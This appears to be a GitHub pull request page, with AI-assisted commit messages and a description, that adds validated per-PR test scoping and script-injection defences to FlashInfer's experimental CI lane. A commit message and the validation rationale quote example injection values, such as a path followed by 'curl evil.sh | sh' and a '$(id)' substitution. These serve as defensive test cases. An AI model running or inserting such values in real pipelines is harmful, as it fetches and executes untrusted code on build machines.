feat(experimental): declare per-PR test scope for the experimental CI lane - #1
Merged
Merged
Conversation
… lane Follow-up to the experimental track, targeting flashinfer-ai#4880. The open question on the CI lane was what it should run. `tests/experimental` as a whole works today, when the track holds one feature, and gets slower and less relevant to any given change as the track grows -- every experimental PR would pay for every other experimental feature's tests, in every cell of the GPU/toolkit matrix. So the PR declares its own scope. The template gains a required `experimental-tests` fenced block listing targets, and scripts/pr_checks/experimental_test_scope.py parses, validates and emits them as a TEST_PATH -- the value the existing shell scripts already accept: TEST_PATH=$(scripts/pr_checks/experimental_test_scope.py \ --body-file body.md --test-path) No new format is invented, and narrowing TEST_PATH narrows what runs within each matrix cell rather than changing the matrix. Why the PR body specifically: the two trigger paths are asymmetric. GitLab's `/bot run TEST_PATH` carries the target inline, so a reviewer can already scope a run by hand. GitHub's triggers -- the `run-ci` label and `@flashinfer-bot run` -- carry no argument at all, so a GitHub run has no other channel for learning what to test. Reading a declared block is what lets the same targeted run happen on both, which makes the block necessary rather than merely tidy. A tagged fence rather than prose because it is machine-read: unambiguous to extract, survives surrounding edits, and a reworded heading cannot silently break it. Validation rejects a missing block, an empty block, duplicate blocks, paths outside tests/experimental/, and path traversal -- `--selftest` covers all six plus four parse cases and needs no fixtures. Declaring the whole tree stays legal; the comment says it defeats the purpose. The point is to make scope an explicit author decision rather than an implicit default nobody revisits. AI-assisted (Claude Code).
… exist
Completes the previous commit. Declaring a scope only helps if something
consumes it, and on GitHub nothing could: `@flashinfer-bot run` matches
with grep and discards anything typed after it, the matrix is built from
hardcoded jq literals, and the dispatch step passes no argument. The
shell side was already fine -- task_run_unit_tests.sh forwards "$@" to
unit_test_runner.py, which sets TEST_PATH from it -- so only the workflow
needed to thread a value through.
pr-test.yml gains one additive H100 lane for PRs labelled `experimental`,
running only the declared targets. Existing lanes are untouched and get
an empty TEST_PATH_ARG, so a normal PR cannot be affected.
The parser now also verifies declared targets exist in the checkout. A
nonexistent path collects no tests and passes, which is a false green --
the most expensive failure mode here, because it looks like coverage. A
typo now fails the matrix instead of reporting success.
Two boundaries the lane deliberately does not cross:
Trust is decided upstream. Whether this PR's code -- including its
tests -- may run on the runners is settled by the screening that gates
the run-ci label, and a new test file is part of the diff that decision
covers. The workflow decides scope, not trust, and does not re-derive
it.
The PR body is still untrusted INPUT. The value moves through env, is
written to a file, and is never interpolated into script text:
${{ }} interpolation of PR-authored content into a run: block is a
script-injection vector regardless of who is trusted to trigger it.
An experimental PR whose block is missing or invalid fails the matrix
rather than silently falling back to the full tree -- the fallback would
restore exactly the behaviour this avoids. Raised for confirmation in the
PR description.
@flashinfer-bot run is left alone: it needs no argument now that the
declaration lives in the PR body, which keeps the scope in one place
instead of being retyped per trigger.
AI-assisted (Claude Code).
Testing the previous commit's claim rather than trusting it: the shape check accepted both tests/experimental/test_a.py; curl evil.sh | sh tests/experimental/$(id) Both start with tests/experimental/ and contain no "..", so "starts with the root and has no traversal" was never the guarantee it read as. Only the existence check rejected them, and that is incidental -- a semicolon is a legal filename character, so a committed file with one would pass. Targets are now matched against an explicit charset, so the guarantee is stated rather than inferred. Four rejection cases added: shell metacharacters, command substitution, backticks, and a smuggled pytest flag. The dispatch step also stops depending on that guarantee. It reads the value into an array and expands it quoted, with globbing disabled, rather than relying on word splitting. Each layer now holds without the others, which matters because run-ci can be applied by hand or via @flashinfer-bot run with no screening in the path -- the workflow cannot assume a screen ran. AI-assisted (Claude Code).
The block shipped pre-filled with `tests/experimental/`, which is a valid declaration -- so the path of least resistance was to leave it, and the default silently became "run everything", exactly what declaring a scope is meant to avoid. It now ships with commented example lines instead. The parser already strips `#` comments, so an untouched block parses as empty and fails with "the experimental-tests block is empty; declare at least one target under tests/experimental/" rather than quietly running the whole tree. Examples live inside the fence rather than above it, so they are visible at the point of typing and are deleted as they are replaced. Declaring the whole tree is still legal and still documented, but is now a choice someone makes rather than one they inherit. AI-assisted (Claude Code).
Per Alex: the two concerns are orthogonal. @flashinfer-bot run takes the argument, the existing scripts already check authorization, and CI runs what it is told. The watcher rides on that -- posting under its own identity with the declared paths -- so there is no duplicated path parsing. The workflow therefore no longer reads the PR body. Turning a declaration into paths happens once, in whoever issues the trigger. A reviewer who wants to run something else just says so; the declared scope is the default the watcher uses, not a constraint CI enforces. `@flashinfer-bot run <paths>` now replaces the default GPU lanes with a single targeted lane. Bare `@flashinfer-bot run` is unchanged. Since a run-ci label carries no payload, the arguments are recovered from the comment that caused it, accepting only a comment newer than the head commit -- otherwise re-labelling by hand months later would silently resurrect a stale scope. The validator gained a --targets mode so both entry points share one definition of a safe target, differing only in root: tests/experimental/ for a declaration, tests/ for a reviewer request, since a reviewer may legitimately want to run anything. Fixed while testing: the argument extraction used [^\r\n], which BSD sed reads as a literal class of backslash/r/n, truncating tests/experimental/foo.py to tests/expe at the first "r". GNU sed on the runners would have hidden this. Now uses (.*)$ with CRs stripped, which behaves identically under both. Seven extraction cases checked: single and multiple targets, prose before the command, bare run, capitalisation, CRLF bodies, and a command on the second line. AI-assisted (Claude Code).
Previous commit collapsed a parameterised run to a single H100 lane, inventing an arch decision that does not exist. TEST_PATH fires on the full matrix, as it already does on GitLab. It works because tests carry their own arch guards (is_sm90a_supported() and friends) and skip themselves where unsupported, so the same targets can go to every GPU runner and the right subset executes on each. That is also why no arch selection is wanted: adding one would mean maintaining a path-to-arch mapping alongside guards that already encode it, and the two would drift. A targeted run now emits one lane per GPU runner (A10G/sm86, T4/sm75, H100), all using task_run_unit_tests.sh. That script is the one that forwards "$@" into TEST_PATH; the default shards (task_jit_run_tests_part*.sh) are fixed pytest lists and take no arguments, so they cannot be retargeted and are replaced rather than parameterised. Narrowing the scope therefore reduces what runs within each matrix cell, not which cells run. AI-assisted (Claude Code).
…anning Per Alex: `@flashinfer-bot run <paths>` and `/bot run TEST_PATH` should be one convention, and the comment should be parsed once -- not re-read from a later stage. ci-bot-commands.yml already parses this comment to dispatch the command, so it now also extracts the paths, validates them, and publishes them as a `ci/test-scope` commit status on the head SHA. pr-test.yml reads that description verbatim: one API call, no regex, no comment listing, no date filtering. The previous approach had pr-test re-scanning comments and filtering by the head commit's timestamp, which was both duplicated work and fiddly. Keying the status to the head SHA makes staleness structural rather than a rule: a new push is a new SHA with no scope status, so re-labelling cannot resurrect an old scope. A bare `@flashinfer-bot run` publishes an empty scope, so it clears a previous one instead of silently inheriting it. The symmetry has a second benefit worth stating: automation gets no privileged channel. A watcher triggering a screened PR types exactly what a reviewer types, so there is one path to test and no way for the two to drift. Validation splits by what each layer can actually see. ci-bot-commands checks charset and root against the trusted validator from the base branch -- it deliberately does not check out PR code, since it holds a write token -- and rejects anything over the status description's 140-character limit, which doubles as a nudge toward the narrow scope this exists to encourage. Existence is left to whoever issues the trigger (who has the PR's files) and, failing that, to pytest, which errors on a missing path. pr-test.yml drops the issues:read permission it needed for comment reading and takes statuses:read instead. AI-assisted (Claude Code).
A status description caps at 140 characters. Measured against this repo, test paths run median 41, p90 60, max 81, and a file.py::test_case is around 63 -- so 140 fits two or three targets, and one long path plus a selector can exhaust it. Rejecting on overflow would have made the limit a design constraint on scopes, which is the wrong tradeoff for experimental components with long names. The scope is now published across ci/test-scope-N statuses and reassembled in index order. Splitting happens on target boundaries in the validator (--chunk N), never mid-path, since half a path is still a syntactically valid path and would fail confusingly rather than loudly. Indices start at 1 even for a single chunk: one code path instead of a bare-context special case. Two failure modes handled, both silent if missed: Statuses cannot be deleted, so a scope that shrinks would leave stale trailing chunks and reassemble into paths nobody asked for. The publisher blanks any leftover indices above the new count. Contexts sort lexically, so ci/test-scope-10 would land between -1 and -2. Reassembly extracts the index and sorts numerically. Reassembly takes the newest status per context, so re-triggering overwrites cleanly. Verified across six cases: ordered chunks, unordered chunks mixed with foreign contexts, a shrunk scope, a cleared scope, no scope statuses, and 10+ chunks. Chunking itself is covered in --selftest: no chunk exceeds the limit, chunks round-trip to the original list, a single target stays one chunk, and a target longer than the limit is rejected rather than split. AI-assisted (Claude Code).
Statuses have no DELETE, but re-posting a context supersedes it -- so the
leftover-chunk handling is an update to empty rather than a deletion, and
the comments now say so.
More usefully, that means the combined endpoint (/commits/{sha}/status)
already returns one entry per context resolved to the latest, which the
raw list (/statuses) does not: a commit with three CodeRabbit posts shows
three entries there and one here.
Both sides now use it. Reassembly drops its group_by/first deduplication,
and -- more to the point -- stops depending on the raw list returning
newest-first, which I had confirmed empirically but which is not a
documented guarantee. Relying on it would have been a silent
misassembly if it ever changed.
Re-verified across seven cases including a null description: ordered and
unordered chunks, foreign contexts, shrunk scope, cleared scope, absent
scope, and numeric ordering past nine chunks.
AI-assisted (Claude Code).
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
📌 Description
Targets flashinfer-ai#4880 (
experimental_directory), notmain— merge there first.Follows up the Slack thread on the missing experimental CI lane: the experimental track needs to run targeted tests, the same way, on both CI systems.
The problem
tests/experimental/as a whole is the right scope today, with one feature in the track. It stops being right as the track grows — every experimental PR would pay for every other feature's tests, in every cell of the GPU/toolkit matrix, on on-demand runners billed by duration.The shell side already supports targeting:
task_run_unit_tests.shforwards"$@"tounit_test_runner.py, which setsTEST_PATH. The gap is entirely in how a target reaches it:/bot run TEST_PATHrun-cilabel,@flashinfer-bot runOn GitHub specifically, three things blocked it:
ci-bot-commands.ymlmatches@flashinfer-bot runwithgrepand discards anything after it;pr-test.ymlbuilds its matrix from hardcodedjqliterals; and the dispatch step passes no argument.The change
1.
@flashinfer-bot run <paths>now takes an argument, mirroring GitLab's/bot run TEST_PATH— one convention across both systems. It retargets the GPU lanes at those paths; bare@flashinfer-bot runis unchanged (and clears any previous scope).The comment is parsed exactly once. A
run-cilabel carries no payload, soci-bot-commands.yml— the one place that already parses this comment — validates the paths and publishes them asci/test-scope-Ncommit statuses on the head SHA.pr-test.ymlreassembles them. No regex downstream, no comment listing, no date filtering.Chunked because a status description caps at 140 characters. Measured against this repo, test paths run median 41 / p90 60 / max 81, and
file.py::test_caseis ~63 — so 140 fits only two or three targets. Splitting happens on target boundaries, never mid-path.Keying the statuses to the SHA makes staleness structural rather than a rule: a new push is a new SHA with no scope statuses, so re-labelling can't resurrect an old scope.
Symmetry has a second payoff — automation gets no privileged channel. A watcher triggering a screened PR types exactly what a reviewer types, so there's one path to test and no way for the two to drift.
No arch selection, and none is needed. A targeted run still spans the GPU matrix (A10G, T4, H100) — tests carry their own arch guards and skip themselves where unsupported, so the right subset executes on each runner. Narrowing the scope reduces what runs within each cell, not which cells run. Adding arch selection would mean maintaining a path-to-arch mapping beside guards that already encode it, and the two would drift.
Note the default shards (
task_jit_run_tests_part*.sh) are fixed pytest lists that take no arguments, so a targeted run usestask_run_unit_tests.sh— the script that forwards"$@"intoTEST_PATH.2. CI runs what it's told, and never reads the PR body. Turning a declaration into paths happens once, in whoever issues the trigger — a reviewer, or a screening watcher posting under its own identity with the declared scope. There is deliberately no second parser in the workflow, so a reviewer wanting to run something else just says so: the declaration is the default, not a constraint.
3. The PR template gains the declaration the trigger-issuer reads — a fenced
experimental-testsblock shipping with commented examples, not a working default. The parser strips#comments, so an untouched block fails loudly rather than quietly meaning "run everything".4.
scripts/pr_checks/experimental_test_scope.pyis the single validator, with two entry points sharing one definition of a safe target:They differ only in root —
tests/experimental/for a declaration,tests/for a reviewer request, since a reviewer may legitimately want to run anything.Validation, and why each rule is there
tests/experimental/x.py; curl evil | sh— it starts with the root and has no... A semicolon is a legal filename character, so existence isn't a reliable backstop either.Two silent failure modes are handled explicitly: statuses can't be deleted, so a scope that shrinks would leave stale trailing chunks — the publisher blanks leftover indices; and contexts sort lexically, so
ci/test-scope-10would land between-1and-2— reassembly sorts numerically.Validation splits by what each layer can actually see.
ci-bot-commands.ymlchecks charset and root using the trusted validator from the base branch — it deliberately does not check out PR code, since it holds a write token — and rejects anything over the status description's 140-character limit, which doubles as a nudge toward the narrow scope this exists to encourage. Existence is left to whoever issues the trigger (who has the PR's files) and, failing that, to pytest, which errors on a missing path.Being authorised to trigger CI isn't the same as a string being safe to hand to a shell, so the value also travels via
env:, is never interpolated into script text, and is read into an array with globbing disabled rather than relying on word splitting. Each layer holds without the others — which matters becauserun-cican be applied by hand, with no review or screening in the path.🔍 Related Issues
Targets flashinfer-ai#4880.
🚀 Pull Request Checklist
--selftest)✅ Pre-commit Checks
pre-commitby runningpip install pre-commit(or used your preferred method).pre-commit install.pre-commit run --all-filesand fixed any reported issues.🧪 Tests
unittest, etc.).--selftestcovers ten cases (four parse, six rejection) plus existence checking against a temp tree; no fixtures, no network, no GPU:The matrix step was also simulated end to end: an
experimental-labelled PR emits the extra lane, a non-experimental PR emits nothing, and an experimental PR with a missing block fails.Reviewer Notes
@bkryu — note that CI does not enforce the declaration. The workflow only validates the arguments it is given; a PR with a missing or malformed block simply gets an ordinary unparameterised run. Enforcement, if wanted, belongs wherever the trigger is issued — a reviewer reads the block and types it, and automation would do the same. That keeps CI a thing that runs what it is told, which is why there's no second parser here.
The one behaviour worth confirming: a targeted run replaces the default GPU shards rather than adding to them, because
task_jit_run_tests_part*.share fixed pytest lists that take no arguments. So a targeted run covers the same GPUs but not the same scripts.Would also value a look from whoever owns the runner labels and concurrency config — the new lane reuses the existing H100 runner selector and
task_run_unit_tests.shunchanged, but I can't exercise a self-hosted runner from here.AI-assisted (Claude Code).